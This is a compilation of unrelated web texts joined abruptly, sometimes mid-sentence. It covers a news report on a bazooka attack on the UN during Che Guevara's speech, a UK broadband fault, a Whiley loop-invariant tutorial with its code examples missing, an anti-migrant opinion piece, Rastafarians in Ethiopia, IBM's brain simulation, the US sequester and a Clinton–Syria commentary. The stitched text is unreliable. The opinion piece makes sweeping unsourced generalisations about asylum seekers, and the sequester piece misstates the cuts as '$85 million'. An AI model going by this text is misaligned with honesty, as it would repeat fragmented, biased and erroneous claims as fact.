Shortly before, a hysterical woman brandishing a hunting knife with a seven-inch blade detached herself from 50 anti-Guevara pickets and tried to force her way into the front entrance. The police subdued the leather-jacketed woman, and later quoted her as saying she intended to assassinate Major Guevara.
In the sealed-off General Assembly Hall, the blast was clearly heard over the voice of Major Guevara, who was assailing United States foreign policy and rejecting a denuclearization pact for the Western Hemisphere.
He paused not a moment in his speech. Later, strolling through the delegates' lounge in his green fatigue uniform and highly polished black boots, he said, with a languid wave of his cigar, that the explosion "has given the whole thing more flavor."
But the police saw no humor in the incident. Had the rocket shell crashed against the glass-and-concrete facade of the headquarters building, there would almost certainly have been casualties. The rocket launcher was found abandoned directly opposite the United Nations in a weed-strewn lot on the east bank of the East River. The device consisted of a tube about three feet long which was bound by ropes to a crate filled with ballast. It had a sighting device, which, according to the police, was fixed on the misty silhouette of the 38-story United Nations Headquarters.
It was fired, apparently by a clock-like device, at 12:10 P.M. At that time a noisy demonstration in front of the United Nations Headquarters was at a peak of tension. The crowd of Cuban exiles was hurtling curses at the police, who, at the time were carrying away Molly Gonzales, the woman who said she wanted to cut down Major Guevara with a hunting knife.
The explosion and the outcry of the crowd marked one of the wildest episodes since the United Nations moved into its East River headquarters in 1952.
Inside the massive glass structure most United Nations personnel thought that the explosion had occurred in front of the building, and that a bomb had been thrown by one of the demonstrators in United Nations Plaza. Few chanced to see the spout of water in the river off West 43rd Street.
Building Under Attack
Few knew that the building, at that moment, was under attack from both front and rear.
Could the rocket attack have been a diversion, under cover of which assassins might have stormed the front entrance and reached Major Guevara.
The police scoffed at this suggestion. They said the attacks were "purely coincidental."
The stormy episode did not end with the dragging away of Miss Gonzales. Later, three men succeeded in cutting down the Soviet flag from its pole in front of the United Nations building. United Nations guards quickly hoisted it again, but the official Soviet press agency Tass described the incident as "a new provocation," carried out "with the connivance of the New York City police."
Miss Gonzales, a short, stocky woman clad in tight black slacks and a synthetic black leather jacket, was charged with felonious assault, resisting arrest, and violation of the Sullivan Law.
Police Spot Running Woman
She was spotted by Patrolman Robert Connolly, who saw her dash along the sidewalk on 43d Street, leap over a 2 ½-foot hedge-and-wire fence and run across the United Nations grounds towards a four-foot wall.
Patrolman Connolly gave chase and was joined by Patrolman Michael Marino, who yelled: "Watch her, she has a knife."
The woman waved a knife at Patrolman Marino, but he dodged it. There was a scuffle, and Miss Gonzales and the two policeman fell to the ground. Before she was subdued, Patrolman Connolly was scratched under both eyes, and Marino suffered scratches on the hand and bruises on the left leg. Both were treated at St. Clare's Hospital.
The woman had been screaming "Arriba,"Spanish of "Hail!" Later she was quoted by the police saying: "The knife was meant for Guevara. I meant no harm to the policemen."
Later, when Major Guevara learned that his would-be assailant was a woman, he forgave her and remarked: "It is better to be killed by a woman with a knife than by a man with a gun."
Mayor Wagner ordered a full police investigation of the attacks. He assured Ambassador Adlai E. Stevenson, permanent United States delegate to United Nations, that everything possible would be done to find who launched the rocket attack.
The police meanwhile were able to find only a handful of persons who said they saw they launching of the missile.
The witnesses were Capt. Anthony A. Saganski and the four-man crew of the tugboat Sandy Hook, of the Central Railroad of New Jersey.
"I was coming down river with a railroad car barge on either side of me," he said. "I was looking toward Long Island City when I saw a puff of smoke down by the shore.
"A flock of seagulls flew up in the air and a second later I heard a small report.
"Then off to my right, I heard a big blast. I didn't look at that because I figured the puff of smoke was where the explosion started.
"I didn't see anybody at the spot where I saw the smoke. I didn't see anybody run away. I was about 400 or 500 feet off shore.
"I proceeded slowly down river until a police helicopter flew overhead and ordered me to a pier off Jackson Street [Manhattan]. Several patrolmen from a police launch boarded me before I got in."
Captain Saganski was questioned for 30 minutes, then allowed to proceed to Jersey City.
Meanwhile, three workers in the Long Island Rail Road yard at 48th Avenue, Long Island City, found the rocker launcher. They had heard radio reports of the river explosion and recalling a noise they had heard shortly before noon in a nearby lot, initiated a search. Some 90 minutes after the explosion, they came upon the weapon in the rear of Adam Metal Supply Company.
A Cuban flag was tied to it.
In the office of the metal supply company, Claude Pollet, a 41-year-old truck driver, recalled one of the railroad workers having burst into the room shouting, "A pipe is sticking up out there that fired the shot."
U.N. in the Sight
"A friend and I ran out of the office to look for the weapon," Mr. Pollet continued. "We walked out to a point of land beyond the warehouse and saw nothing. We decided this guy was crazy or a nut.
"Then as we walked back to the office we saw it, about 150 feet from the water's edge. It looked like a black pipe with white strings. It looked like some kind of home-made mortar."
The first detective to reach the scene, William Reilly, of 108th Precinct, Queens, thought it was a sawed-off bazooka. "If you looked through the sight you could see the United Nations Building," he said.
"The thing also had a timing mechanism, something like a clock, in a box eight inches long, four and one-half inches wide, three inches deep, and made of metal - the size of a cereal box."
The bomb squad removed the device after it had been dusted for fingerprints. Later it was turned over to the Army at Fort Tilden, Queens, for further identification.
Lieut. Kenneth W. O'Neil, commander of the bomb squad, said the rocket launcher was made in the United States for the use of the Armed Forces.
He said the pipe was originally olive drab, but had been painted black.
The weapon was officially described as a bazooka. A bazooka is a light and portable crew-served weapon that consists of a smooth-bore firing tube, open at both ends, used to fire armor-piercing rockets. The weapon is normally fired from the shoulder.
The version used in yesterday's attack was at first described as a mortar, perhaps because it had been rigged to a wooden crate on the ground.
Difference in Weapons.
A mortar, however, is a short, muzzle-loading cannon with either a rifled of smooth bore that is emplaced on the ground or some other hard surface and used to lob projectiles at high angles.
Unlike the bazooka, the mortar is closed at the base. The gunner drops the shell down the muzzle, and it is detonated by a firing pin that projects upward from the base.
Investigation by the bomb squad proved that the weapon had been fired during the day, thus convincing the squad that it was the device that fired at the United Nations.
The East River is about 900 yards wide at the United Nations, and a member of the bomb-squad said the launching weapon had sufficient range to send a projectile crashing into the building. He said the shell fell short and exploded in the river apparently weighed eight pounds, was perhaps 18 inches long, and may have contained 1.9 pounds of a high explosive called "composition B."
He said that if the shell had passed though a window and exploded in a room, people in the room probably would have been killed.
The arc of the missile must have passed close to Belmont Island, a small rocky island that contains only a navigation light. The police searched it without finding clues. The expressed doubt that the shell would be recovered from the river.
Last night the bomb squad announced that "several" serial numbers had been found on the weapon. They were trying to trace the numbers to various arsenals.
The weapon was of a type usually fired by two men, a bomb squad expert said. The timing device enabled it to be fired at a predetermined time without anyone's being in the Ling Island City lot at that moment.
The shell landed in the East River with two blocks of the BMT Queensboro subway tube but ther was no damage to the tunnel.
The "siege" of United Nations had begun with a bit of psychological warfare.
At 10:30 A.M. an anonymous telephone call was received at the police communications center. A man's voice, with a Latin-American accent, said: "I have put a bomb in front of the U.N. building. Keep people away between 11:30 and 12:30 P.M. Long live Cuba."
A police search of the area was under way at the moment the mortar shell exploded in the river.
The arrival of the bearded Major Guevara on Wednesday had resulted in heavy police patrolling of the United Nations.
At 6:45 A.M., the Federal Bureau of Investigation had cautioned the New York police against a possible bomb scare or bomb activity later in the day at the United Nations.
When Miss Gonzales, first identified as Gladys Perez, was booked at the East 51st Street station she gave several false names. She finally admitted she was Molly Gonzales, 24 years old of 6040 Park Avenue, West New York, N. J. She said she had come form Santa Cruz, Cuba, two years ago. She was charged with felonious assault on a police officer and possession of a knife. She will be arraigned today in Part IA of the New York Criminal Courts.
She carried in a paper bag a bottle of detergent and about 500 carpet tacks, for which she gave not explanation.
Picketing of the United Nations Headquarters continued until 7:25 P.M., when the police told some 20 pickets that Major Guevara had left the grounds by a side gate. The picket then dispersed.
They had milled about with signs reading "Invade Cuba Now" and "Guevara, get out of Cuba."
Eight Pickets at Mission
Later, eight demonstrators, who described themselves as Cuban exiles, showed up at the Cuba mission at 6 East Sixty-Seventh Street. They carried signs protesting the appearance of Major Guevara at the United Nations. One bore a fire extinguisher and a placard that read, "We pretend to exterminate Guevara for what he said in the U.N. today."
The police had barricaded both sides of 67th Street and a part of Fifth Avenue. They kept demonstrators behind wooden barriers 300 feet from the mission.
Members of the bomb squad examined with a fluorescent device all packages arriving at the mission.
Major Guevara arrived at the mission shortly before 7:30 P.M. in a limousine and was greeted by jeers and catcalls. Several pickets yelled in Spanish: "Assassin!" The major ignored them. After he disappeared inside the building, the pickets sang the Cuban national anthem.
The three men who figured in the incident involving the Soviet flag at United Nations Plaza were paroled for a hearing Thursday for disorderly conduct charges. They were identified as Enrique Castro, 28, of 48-10 45th Street, Woodside, Queens; Medara Rodriguez, 21, unemployed, of 124 Fort George Avenue, and Carlos Vardes, 28, of 740 Gun Hill Road, the Bronx.
The police said Mr. Castro and Mr. Rodriguez had pulled down the flag while Mr. Vardes tried to block traffic in the plaza. All three were booked at the East 51st Street Station on a charge of disorderly conduct.
Nikolai T. Fedorenko, Soviet Chief delegate, reacted angrily to the flag incident.
"We are among pirates," he told reporters last night at a diplomatic reception. "There is no protection. How can we work?"
He said he was thinking of making an official protest. "It has never been permitted to treat a national flag in such a way," he continued. "I ask, What is going on? Where do we stand! What are we doing?"
The shelling of the United Nations drew sympathetic comment form Pedro Pena Gongora, national secretary general of the White Rose Cuban exile movement.
"I'm sorry they didn't hit him [Major Guevara]," Mr. Pena Gongora said.
"He's an Argentinian; he's not even a Cuban. Imagine him coming to the United States to represent our country. We resent him more because he's an Argentinian than |
that – I am a few hundred yards from the cabinet). It normally does this if it finds errors on the line – the speed is adjusted to a point where the errors disappear. In my case the line was synching at 15Megs. Nogoode.”
An engineer from BTOpenreach, Tim Drake, soon arrived and apparently realised that there was no point in performing the normal line test because it would have passed. Sadly not all Openreach engineers use the same initiative but then it would take a brave man to question the CTO of an ISP.
Trefor Davies added: “Tim spent the next hour or so testing the line looking for the source of the errors. He eventually found it at the top of the telegraph pole down the road from my house. “Eureka” says I. Tim finished his stuff up the pole and brought down a piece of cable that showed corrosion on both strands of one pair. These wires, rubbing together in the wind and rain would have resulted in noise that was the cause of my errors and the speed downgrade. I am next week having dinner with a senior team from BT and I intend to specifically commend Tim Drake for his efforts. Openreach engineers have a budget of one hour to fix each problem. Mine took two hours and Tim could have walked away early on in the process with the throwaway observation that the line was in spec and there was nothing he could do.”
The “only real answer” to problems like this, claims Trefor, is to conduct a total network rollout of Fibre-to-the-Premises (FTTP) style technology, which takes the fibre optic cable all of the way to your home for largely future proofed performance. Unfortunately “ubiquitous FTTP ain’t going to happen any time soon, we all know that,” added Trefor, but it would at least help to solve some of the many problems that are inherent with copper (it can be even worse if your line is still aluminium based).
As it stands neither the UK government nor BT are willing the stump up the extra £15bn-£20bn that would be needed in order to make such a development possible. Indeed there are many arguments both for and against such an investment, especially one occurring at a time of economic austerity.
One spot of good news for wealthy individuals is the fact that BT’s FTTP service, which is currently only available to a tiny number of areas around the UK, will soon be made available to all FTTC capable lines from this spring. Sadly this FTTP-on-Demand (FoD) solution is expected to cost around £1,500 to install (the hefty construction price varies based on your distance from BT’s local NGA Aggregation Node). Not ideal but it could be a good investment, if you can afford it.Thoughts on Writing Loop Invariants
As the Whiley system is taking better shape every day, I’m starting to play around more and discover things. In particular, there are some surprising issues surrounding while loops and their loop invariants. These are things which I’ll need to work on in the future if Whiley is to stand any chance of being widely used. So, I thought I’d give a run down of the observations I’ve made so far …
When thinking about loops, the problem of writing loop invariants always comes up. These can be notoriously tricky to get right, and can easily stop people in their tracks. Let’s look at a very simple example to start with:
int f(int n) ensures $ == n: i = 0 while i < n: i = i + 1 return i
This function accepts an integer n and must return a value which is equal to n (here, the return value is given by $ ). Ok, yes this is an artificial example, but it helps to explain loop invariants. The thing about this example is that it won’t verify yet. Here’s what you see in the Whiley Eclipse plugin:
Here, the Whiley compiler is saying the function’s post-condition is not satisfied. When we look at this function, we can easily think it’s correct — but it’s not. To uncover the problem, we need a loop invariant. Every loop invariant has three requirements:
Initialised on Entry. The loop invariant must hold on entry to the loop. Preserved by the Body. The loop invariant must hold after the loop body, assuming it held immediately before. Valid on Exit. When the loop finishes, the loop invariant must still hold.
We can assume (for now) that the only information known after a loop is the loop invariant and the negated loop condition. Since the above example doesn’t have a loop invariant, all we know after the loop is that i >= n — which is not enough to satisfy the post-condition. Therefore, we’ll add a loop invariant as follows:
Here, the loop invariant is given by the clause where i <= n. Also, we now have a different error message telling us that the loop invariant didn’t hold on entry. Well, now we can see the problem with this function — namely, that n < i might hold on entry to the loop (e.g. if n == -1 on entry to the function).
We can go ahead and fix this now:
Since there are no further error messages, the function has been verified as correct. However, it’s worth taking a moment to think about why its correct. The last item in our list of requirements for loop invariants is that they must be valid on exit. Therefore, after the loop finishes we know that both the loop invariant and negated condition hold. In this case, that means i <= n and i >= n hold which implies i == n.
Some Theory
At this point, we can delve a little deeper into the theory behind loop invariants as this uncovers some interesting issues.
The foundation for verification systems like the Whiley Compiler is Hoare logic. This is based around so-called Hoare triples which, at a high level, look like this:
Here, s is the statement being considered, p is what is know to hold before that statement and q is what’s known to hold afterwards. As a very simple example, consider this:
This is saying that, if we know x >= 0 holds before the statement x = x + 1 then we know that x > 0 holds afterwards. In fact, we can read this triple in the other direction as well.
Hoare logic has provided an excellent theoretical foundation for reasoning about programs, and has been rightly praised within the academic community. However, when trying to verify programs using a tool based on Hoare logic (such as Whiley) it really helps to have some idea of the rules. In particular, the rule for while loops is (very roughly speaking):
Here, the implication e1 ==> e3 ensures that the loop invariant is implied by the pre-state (i.e. holds on entry). The triple {e2 && e3} s {e3} establishes that the loop invariant is maintained by the loop body assuming it and the loop condition held before the body executed. Finally, the post-state for the rule {!e2 && e3} is all the information we can infer as being true after the loop. This latter bit, it turns out, is quite restrictive … and we’ll look at this next.
Challenges
The Hoare rule for describing the how while loops are handled by the verifier has a number of subtle aspects. For example, consider the following program:
int f(int n) ensures $ == n: i = 0 x = n // shadows n while i < n: i = i + 1 return x
Take a moment and think about this: would you expect this program to verify?
Intuitively, it really seems as though the above program should verify. But, it doesn’t under the Hoare rule for while loops. The thing about the rule is that all it guarantees is that the loop invariant and the negated condition hold after the loop. In this case, it tells us that i >= n holds. But, it doesn’t say anything about the variable x after the loop. Specifically, whether or not it has the same value as n after the loop. Of course, as humans, we know it does; but, a verifying compiler cannot reason like a human and must rely on its logical framework instead (in this case, the rules of Hoare logic).
In fact, the Whiley compiler will verify the above program as correct, simply because it doesn’t use the original Hoare rule for While loops! Instead, it uses an extended rule whereby variables which are invariant around the loop (e.g. x above) are known to retain their value after the loop. This might seem obvious, and indeed it is. But, it serves to highlight that the rules of Hoare logic are not (as is) a panacea for practical software verification — i.e. they need a little tweaking along the way!
Further Reading
If you’re interested in finding out more about this kind of thing, a useful starting point might be our recent article which discusses this problem and more:It is shocking that on New Year Eve unprecedented sexual attack happened on women all over the main European cities however still left wing politicians seems to be in denial over migrant issue and try to cover up adding salt to the injury many women already suffered on NYE.
For example in Cologne, police maintain for many days that New Year Eve celebration was peaceful despite more than 100 women were sexually assaulted and many got raped.
In fact for many days Germany state administration try to cover up the matter till the internal police report was leaked which exposed the truth.
In Finland, three Iraqi asylum seekers have been arrested for committing sexual assaults on NYE. Security personnel reported “wide spead sexual harassment” during the celebrations, with women complaining that asylum seekers had groped them without permission. According to the deputy chief of police in Helsinki, Ilkka Koskimaki,”We have never before had this kind of sexual harassment happening at New Year’s Eve.”
In Sweden which has already earned the title of rape capital of Europe after large scale migration, 15 women reported being sexually assaulted in the city of Kalmar on New Year’s Eve. However only two asylum seekers have been arrested in connection.
In Switzerland, police in Zurich said six women reported being sexually assaulted and robbed. There have been reports of similar attacks in other cities across Germany and in Austria where police chief said avoid venturing in dark to avoid rape.
Disgusting how police in #Cologne are out in force today to attack anti-rape demonstrators yet nowhere to be seen when women were assaulted — Samuel Waite (@SomersetSam1987) January 9, 2016
In the UK, Chris Grayling said EU disastrous for the UK
However German Interior Minister Thomas de Maiziere said: “You cannot draw a general suspicion against refugees from the indications that they were perhaps people who looked North African.” This is despite the fact that most suspects in violence are asylum seekers.
In the UK some members of the parliament from all parties have come together and launched a new cross-party group that will campaign for the UK to leave the European Union has been launched.
Editor of the Journalism News Network. In the past, he has worked as the Editor of the business journal “The Analyst”. In addition, Subodh has also worked for four years with India’s largest newspaper “The Times of India”. Subodh is also the member of London Press Club and NUJ. He also writes for The Times of India, Huffington Post, Medium, Meri News, etc.
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Forty years ago Emperor Haile Selassie of Ethiopia was overthrown. It was a blow for all Rastafarians, who revere him as a god - and for those Rastafarians who had emigrated to Ethiopia, life suddenly got more difficult.
In 1948 Emperor Haile Selassie gave 500 acres (200 hectares) of land at Shashamene, 150 miles (225km) south of Addis Ababa, to black people from the West who had supported him in his struggles with Mussolini's Italy.
The first settlers to arrive were African-American Jews, but they soon moved on to Liberia or Israel. After them, in 1963, came a dozen Rastafarians, and the numbers swelled after Selassie made an emotional visit to Jamaica three years later.
The Rastafarians' adoration of Selassie stems from the words of black consciousness leader Marcus Garvey, who said in 1920, "Look to Africa, when a black king shall be crowned, for the day of deliverance is at hand". When Selassie was crowned emperor, 10 years later, many thought Garvey's words had come true.
Another belief widely held by Rastafarians is that they will eventually return to Africa - the continent their ancestors left in slave ships long ago. And quite often, according to Erin MacLeod - author of Visions of Zion: Ethiopians and Rastafari in the Search for the Promised Land - "back to Africa" is treated as synonymous with "back to Ethiopia".
Today there are up to 800 Rastafarians at Melka Oda, near Shashamene, as well as a few in the capital, Addis Ababa, and in the city of Bahir Dar. But how has life turned out for them in Ethiopia - and what do Ethiopians make of their Rastafarian neighbours?
It has not been a love affair.
In 1974, the communist Dergue regime overthrew and imprisoned Selassie - who died the following year - and began purging all vestiges of the imperial dynasty. Land was nationalised, including the land granted to foreigners at Shashamene, and some Rastafarians settlers fled.
Even today, long after the fall of the Dergue, Selassie remains a controversial figure in Ethiopia, and many look askance at the Rastafarians who venerate him.
"There are people who have extreme love for Selassie, the modernising leader who did so much for the country, but others say he was a representative of a colonial empire, was enamoured by the opulence of Europe and did not lead the country in an equitable way," says MacLeod.
There have been other problems too.
One is "ganja" - marijuana - considered a herb of religious significance by Rastafarians, who sometimes refer to it as the "wisdom weed" or "holy herb".
Image copyright AP
In Ethiopia, by contrast, it is regarded as a dangerous drug, comparable to heroin or cocaine, says MacLeod. Ethiopian police sometimes raid the Rastafarian settlement at Shashamene to search for it, she says - even though khat, a stimulant leaf that is widely chewed in the country, is held by some experts to be more harmful.
It is also unfortunate that the land granted by Selassie is located in a region populated by the Oromo people, who say they have been oppressed for years by Ethiopia's dominant Amhara commnity, to which Selassie belonged.
According to MacLeod, Selassie was for the "Amharisation" of Ethiopia.
"On the local level, in Shashamene, the Rastas support the emperor, who, in the eyes of the Oromo people, represents a coercive central power," agrees Dr Giulia Bonacci, a Rastafarian researcher from the Institute of Research for Development, based in Addis Ababa.
"In a region still marked by a history of alienation from land and economic and social dominance, symbols of imperial power are not appreciated."
The Rastafarians have, up to a point, integrated with the local Ethiopian population. Some have married Ethiopians, but on the whole these Ethiopian partners have not adopted the Rastafarian faith.
"She don't fight me about my faith. I don't fight her. She's a Protestant," says Vincent Wisdom, a Rastafarian man with an Ethiopian wife. None of his five children share his faith either. "Two of them are Orthodox and one of them is Protestant; the others are too small," he says.
Image copyright Erin MacLeod Image caption Brother Vincent Wisdom at the Rastafarian tabernacle in Shashamene
MacLeod has met only one Ethiopian, Naod Seifu, who has converted to Rastafarianism.
"I used to have dreadlocks but I have to trim them to work," he told her. "In Ethiopia having dreadlocks is taken as bad behaviour and inappropriate." He added that any Ethiopian who believed the king was divine was regarded as "mad".
The main Rastafarian sects or "mansions"
Nyahbinghi - the oldest of all Rastafarian orders. The name is derived from Queen Nyahbinghi who ruled Uganda in the 19th century and fought against the British Empire. They were the first to proclaim Emperor Haile Selassie as the incarnation of the supreme deity. The Nyahbinghi pushed for repatriation to Ethiopia.
Bobo Shanti - the name is derived from Bobo, which stands for Black, and Ashanti, a tribe from Ghana. It is believed most of the slaves brought to Jamaica were from the Ashanti tribe. Prince Emanuel Charles Edwards founded the Bobo Shanti order in Jamaica in the 1950s. He, along with his descendants and Haile Selassie, are seen as gods. Marcus Garvey is regarded as a prophet. The Bobo Shanti also believe black people should be compensated financially for slavery. They wear long robes and very tightly wrapped turbans, and avoid eating salt and oil.
The 12 Tribes - this sect was founded in 1968 by Dr Vernon "Prophet Gad" Carrington and is the most liberal of all Rastafarian orders. Twelve Tribes members are free to worship in a church of their choosing or at home. They consider themselves the direct descendants of the 12 sons of Jacob. They are divided into 12 houses which are determined by birth month and each house is represented by a different colour. Bob Marley was their most famous follower.
iWonder: Haile Selassie - Who was the Rastafarian Messiah?
When MacLeod first visited Shashamene in 2003, she was surprised by what she found.
"It was not at all the way it was described to me. It's not a Rastafarian town. It's 100,000 Ethiopians and only a few hundred Rastas living on the outskirts," she says.
Many more Rastafarians come to Ethiopia on holiday, either for a once-in-a-lifetime pilgrimage or for regular sojourns.
Image copyright AFP Image caption Some Rastafarians have had children with local Ethiopian women
"Some will come once a year or every couple of years and they describe themselves as having 'one foot in Ethiopia'," she says.
Even those who live in the country long-term have mostly retained their British, American or Canadian passports to make it easier to travel abroad. But taking dual citizenship - and obtaining a second, Ethiopian passport - has never been possible.
Talks on the issue had been due to take place with former prime minister Meles Zenawi, according to MacLeod, but his death in 2012 put paid to the plan.
Most Ethiopians still consider Rastafarians foreigners, or "ferenjoch", she says.
"We know God is Haile Selassie, Him Mighty God. Now Him save the poor earth right now, and Him save the people," Bob Marley was quoted as saying in 1978, four years after the emperor was toppled.
"True dat dem overthrow 'im. In a sense, all a de people around him was really weird. But just how it go..."
In the same year Marley visited Shashamene, While there, says political scientist Horace Campbell, he began to realise "the problems of translating a dream into reality".
His wife, Rita, has talked nevertheless about the family's hopes of burying him in Shashamene.
Ethiopia, MacLeod says, will always remain the Rastafarians' promised land.Advertisement
18 November 2009—Scientists and engineers at IBM’s Almaden Research Center, in San Jose, Calif., announced today at the Supercomputing Conference (SC09) in Portland, Ore., that they have created the largest brain simulation to date on a supercomputer. The number of neurons and synapses in the simulation exceed those in a cat’s brain; previous simulations have reached only the level of mouse and rat brains. Experts predict that the simulation will have profound effects in two arenas: It will lead to a better understanding of how the brain’s architecture leads to cognition, and it should inspire the design of electronics that mimic the brain’s as-yet-unmatched ability to do complex computation and learn using a small volume of hardware that consumes little power.
The cortical simulator, called C2, integrates research from the fields of computation, computer memory, communication, and neuroscience to re-create 1 billion neurons connected by 10 trillion individual synapses. C2 runs on “Dawn,” a BlueGene/P supercomputer at Lawrence Livermore National Laboratory, in Livermore, Calif.
The research was funded by the U.S. Defense Advanced Research Projects Agency (DARPA), which is spending at least US $40 million to develop an electronic processor that mimics the mammalian brain’s function, size, and power consumption. The DARPA project, called Systems of Neuromorphic Adaptive Plastic Scalable Electronics, or SyNAPSE, was launched late last year and will continue until 2015 with a goal of a prototype chip simulating 10 billion neurons connected via 1 trillion synapses. The device must use 1 kilowatt or less (about what a space heater uses) and take up less than 2 liters in volume. IBM is one of three groups involved in the project. In addition to $21 million in funds for IBM, DARPA also funded HRL Labs, in Malibu, Calif., and HP Labs, in Palo Alto, Calif.
“Real brains are so impressive to computer scientists,” says Jim Olds, a neuroscientist who directs George Mason University’s Krasnow Institute. “Instead of banging our heads against Moore’s Law, why not build computers more like the brain and get them to solve problems the way the brain does?” Right now, Roadrunner, the supercomputer that comes closest to replicating a human’s ability to drive in rush-hour traffic, weighs 227 metric tons and requires a diet of about 3 megawatts. By contrast, the brain regularly handles rush-hour driving on 20 watts (comparable to the power consumption of a Nintendo Wii), and its 1.5 kilograms fit neatly into a handbag.
IBM’s principal investigator for SyNAPSE, Dharmendra Modha, likens the C2 cortical simulator to an electron microscope or a linear accelerator. “It’s a tool that other scientists can now use to better understand how cognition works,” he says.
Olds says the IBM work is extremely promising. “Each neuron in the network is a faithful reproduction of what we now know about neurons,” he says. This in itself is an enormous step forward for neuroscience, but it also allows neuroscientists to do what they have not previously been able to do: rapidly test their own hypotheses on an accurate replica of the brain. “It’s like the Large Hadron Collider in that respect,” says Olds.
The IBM research shows that a model of the human brain—which has 20 billion neurons connected by about 200 trillion synapses—could be reached by 2019, given enough processing power. But Johns Hopkins University electrical and computer engineering professor Andreas Andreou says the C2 simulator underscores an undeniable fact—to better understand the brain, we’re going to need a better computer.
A major problem is power consumption. Dawn is one of the most powerful and power-efficient supercomputers in the world, but it takes 500 seconds for it to simulate 5 seconds of brain activity, and it consumes 1.4 MW. Extrapolating from today’s technology trends, IBM projects that the 2019 human-scale simulation, running in real time, would require a dedicated nuclear power plant.
The human brain offers tantalizing clues to a better computer architecture. For example, today’s microprocessors separate memory and computation. The brain has no such constraints, and its circuits are reconfigurable, specialized, and fault tolerant, too. This makes the human brain much better at recognizing faces and driving a car, to take two examples, than the world’s most sophisticated supercomputers. DARPA’s Urban Challenge, which required contestants to develop an autonomous vehicle control system, proved this point. The Urban Challenge went off the rails faster than anyone expected, with cars idling indefinitely at stop signs or becoming paralyzed by large rocks.
While Andreou, who studies chip architectures for specialized problems, is generally a skeptic about efforts to reverse engineer the brain, what Modha and his team have done is “quite good,” he says. The most interesting thing about the IBM research, Andreou says, is what it bodes for computer architecture—it points to a future of far more specialized electronics.
“I don’t believe in general-purpose parallel computing,” says Andreou. “The way to get to large-scale computing—like a brain simulation or genomics—is to use a specialized chip that will solve a specific class of problems very well. That’s why this [work] is exciting: It gives a lot of really scientific data to actually design such processors.”
Modha says the next step is ”to demonstrate brainlike visual perception, decision [making], planning, and navigation in virtual environments” by mimicking how the brain interfaces with sensory organs and with muscles.
IBM is also working separately on nanomaterials that could enable the construction of brainlike chips. In the final phase, it plans to build a system of 100 such chips simulating 100 million neurons and 1 trillion synapses.
DARPA is not the only organization working toward brainlike cognitive systems. The best-known brain project under way in Europe is Blue Brain, at Ecole Polytechnique Fédérale de Lausanne. And the European Union has also lavished 6.7 million ($9.3 million) on a project that will build an artificial mouse brain. The Chinese government, according to a Wall Street Journal report earlier this year, is spending $1.5 million to develop robots whose artificial brains are driven by microcircuits that evolve, learn, and adapt to real-world situations. And in the United States, the National Science Foundation has funded a three-year study at the University of Southern California’s electrical engineering department to develop a synthetic cortex, which will contain carbon-based (as opposed to silicon) nanometer-scale artificial neurons.Americans have been granted a pleasant six-week respite from the anxiety that our elected representatives will once again screw up the economy that supports most of us.
In late December and early January, you will recall, the two political parties played a big game of chicken to see who could score the most points in the debt-ceiling and tax-cut-expiration fight. And as part of a deal designed to make each team look like heroes for "cutting taxes" that they could easily have just voted not to raise, a problematic little budget agreement called the "sequester" was kicked down the road a couple of months.
Well, now those two months are over.
And at the end of next week, on March 1st, the "sequester" will kick in.
Unless Congress intervenes, the sequester will trigger about $85 million in annual spending cuts across most government agencies, including the military, the Department of Education, and the Department of Justice. These cuts will result in furloughs, loss of overtime, and probably some layoffs, especially if they are permanent.
The cuts are designed to cut the deficit by about $1.2 trillion over 10 years, and although long-term deficit reduction is a noble goal, the cuts will also hurt the economy this year, when it is weak. The Congressional Budget Office estimates that the sequester cuts, combined with the tax increases earlier this year, will reduce 2013 GDP growth by 1.5 percentage points.
Both parties agree that the "sequester" is lousy policy--the cuts are sharp and indiscriminate across most agencies, including those that are favorites of each particular political team. But both parties voted for the sequester. And neither party is lifting a finger to try to stop the cuts from taking place. So take whatever they say with a grain of salt.
Nor is the sequester the only economic hurdle on the horizon.
At the end of March, the "continuing resolution" that is funding federal government spending will run out. After that date, the federal government will have to shut down unless or until another continuing resolution (or budget) is passed. This creates the possibility that the government will endure a 1995 scenario in which big agencies just close their doors until Congress finally does what it was elected to do.
And then, in May, unless Congress has passed an agreement to delay it, the debt ceiling will return. The debt ceiling, you will recall, is what almost caused the country to default on its obligations back in the summer of 2011 and then again early this year. Our government is using our debt ceiling as a poker chip, and although the Republicans caved a couple of months ago, there's always a risk that they'll decide to hijack the country again.
The bottom line is there are three ways our government can screw up our economy in the next three months.
So don't relax just yet.
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China's Military Linked to Cyberattacks Against AmericaSpeaking to a doting Nicholas Kristof of The New York Times at the 2017 Women in the World Summit in New York on Thursday, defeated Hillary Clinton offered up her explanations for why she lost the seemingly-unlosable 2016 presidential election to Donald Trump: sexism, Comey, Putin, Russia, trolls, etc. It was not until the conversation turned to Syria, however, that Clinton (unintentionally) gave viewers real insight.
“I really believe we should have and still should take out his air fields and prevent him from being able to use them to bomb innocent people and drop sarin gas on them,” she told Kristof, bemoaning the Obama administration's approach to dealing with Syrian President Bashar al-Assad.
Like many of her statements during the primary, this remark would prove polarizing when, just hours later, the Trump administration launched 50 cruise missiles at Shayrat Airfield in western Syria in response to the Assad regime's use of chemical weapons on his own people earlier this week.
The incident instantly generated a Twitter feud between progressives and her most die-hard supporters, which resulted in “World War 3” trending until the early hours Friday morning.
In the face of the sheer devastation in Syria (and elsewhere in the Middle East and North Africa), voters in the first group felt that Clinton was too hasty to resort to the truncheon in delicate, complex diplomatic matters. Now that her hawkish recommendation was carried into action by a Republican administration—the Trump administration, no less—progressives felt vindicated because the incident highlighted and reinforced this central grievance:
Hillary Clinton thinks Trump should escalate the war in Syria, fully vindicating her toughest left critics. https://t.co/3J8GmnExfQ — David Klion (@DavidKlion) April 6, 2017
The most diehard members of the Hillary Clinton camp will lead the new campaign Patriotic Democrats for Trump-Led Regime Change in Syria pic.twitter.com/sIQtNQsaGY — Ben Norton (@BenjaminNorton) April 6, 2017
Meanwhile, Clinton's most ardent defenders found themselves in an awkward position, defending their candidate's idea while opposing Trump's apparent implementation of it. This led to some absurd results and impressive mental gymnastics as the “Blame Bernie/Rusia/Putin/Comey” crowd sought to reconcile the two contradictory positions:
Trump is willing to bomb the sh*t out of Syria, but then doesn't want to take their refugees. That's the difference between him and Hillary. — Kaivan Shroff (@KaivanShroff) April 7, 2017
So according to Trumpsters, Hillary wanted war with Russia- yet it's Trump who just shot 50 Tomahawk missiles at their ally. #Syria#WWIII — Alt Fed Employee (@Alt_FedEmployee) April 7, 2017
Thank God we didn't elect a woman who'd start war illegally for stupid reasons like her ego or low approval ratings or suspicion of treason — Sady Doyle (@sadydoyle) April 7, 2017
Berniebros: "Vote Trump! Hillary means war with Syria!"
Trump goes to war with Syria
